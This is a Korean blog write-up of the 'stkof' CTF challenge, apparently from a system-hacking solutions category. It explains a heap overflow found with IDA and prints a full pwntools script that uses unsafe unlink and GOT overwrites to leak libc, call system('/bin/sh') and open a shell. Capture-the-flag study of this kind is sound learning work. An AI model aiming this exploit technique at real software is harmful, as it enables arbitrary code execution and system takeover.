728x90
요즘 문제를 풀거나 기법 공부 할 시간이 너무없다....
학교공부 안하다가 하려니 따라잡기가 힘들다...
그래서 간만에 글을 쓰게된다.
이문제는 Unsafe unlink를 이용한 문제이다.
잘모르는 사람은 how 2 heap의 Unsafe unlink를 보고 오는 것을 추천한다.
ida로 파일을 열어보자.
(변수명,함수명은 작성자가 마음대로 정의함.)
main을 보면 몇개의 메뉴가 보인다.
1번은 make_chunk
2번은 edit_data
3번은 free_chunk
4번은 check_chunk이다.
그럼 하나씩 살펴보자.
make_chunk
make_chunk함수는 size를 입력을 받고 그 size만큼을 malloc을 해주는 함수이다.
말그대로 make_chunk이다.
edit_data
edit_data함수를 보면 size를 입력을 받고 size만큼 데이터를 쓸 수 있다.
말그대로 원하는 크기만큼 입력을 받을 수 있는 것이다.
딱봐도 overflow가 일어 날 것 같다.
free_chunk
free를 원하는 청크 번호를 입력을 해주면
그 청크를 free를 해준다.
check_chunk
이곳을 이용해서 chunk의 유무를 알 수 있다.
.
.
.
솔직히 메뉴들은 간단하다.
문제도 그렇게 어려운 편은 아니다.
unsafe unlink를 통해서 변수 s에 값을 써준다음,
got overwrite를 이용해서 leak을 해주면 될 것 같다.
(※변수 s가 포인터임)
leak까지 해주면 shell따는 건 껌이라고 생각을 하고 exploit코드를 올리겠다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 | #!/usr/bin/python from pwn import * p = process('./stkof') e = ELF('./stkof') l = ELF('/lib/x86_64-linux-gnu/libc.so.6') raw_input() def make(size): p.sendline("1") p.sendline(str(size)) print p.recvuntil("OK") def edit(idx,size,data): p.sendline("2") p.sendline(str(idx)) p.sendline(str(size+1)) p.sendline(data) print p.recvuntil("OK") def free(idx): p.sendline("3") p.sendline(str(idx)) print p.recvuntil("OK") make(0x80) make(0x80) make(0x80) make(0x80) payload = p64(0) payload += p64(0) payload += p64(0x602150-0x18) payload += p64(0x602150-0x10) payload += "A"*0x60 payload += p64(0x80) payload += p64(0x90) edit(2,len(payload),payload) free(3) payload = p64(0) #padding address s payload += p64(0) #padding address s+8 = s[8*num] starting 8 payload += p64(e.got['strlen']) payload += p64(0x602158) payload += p64(e.got['fgets']) payload += p64(0x602168) payload += "/bin/sh\x00" edit(2,len(payload),payload) edit(1,8,p64(e.plt['printf'])) p.sendline('4') p.sendline('3') p.recv(1) leak = u64(p.recv(6).ljust(8,'\x00')) libc = leak - l.symbols['fgets'] system = libc + l.symbols['system'] print "[*]Leak Data :",hex(leak) print "[*]Libc Addr :",hex(libc) print "[*]System Addr:",hex(system) edit(1,8,p64(system)) p.sendline("4") p.sendline("4") p.interactive() | cs |
'SYSTEM HACKING > 문제 풀이' 카테고리의 다른 글
Dreamhack basic_rop_x86 (0) | 2020.04.24 |
---|---|
2018 Codegate - Melong (0) | 2018.05.10 |
BCTF 2016 Bcloud (0) | 2018.03.15 |
Hack.lu CTF 2014 - oreo (2) | 2018.03.10 |
2018 Codegate - Super marimo (0) | 2018.02.14 |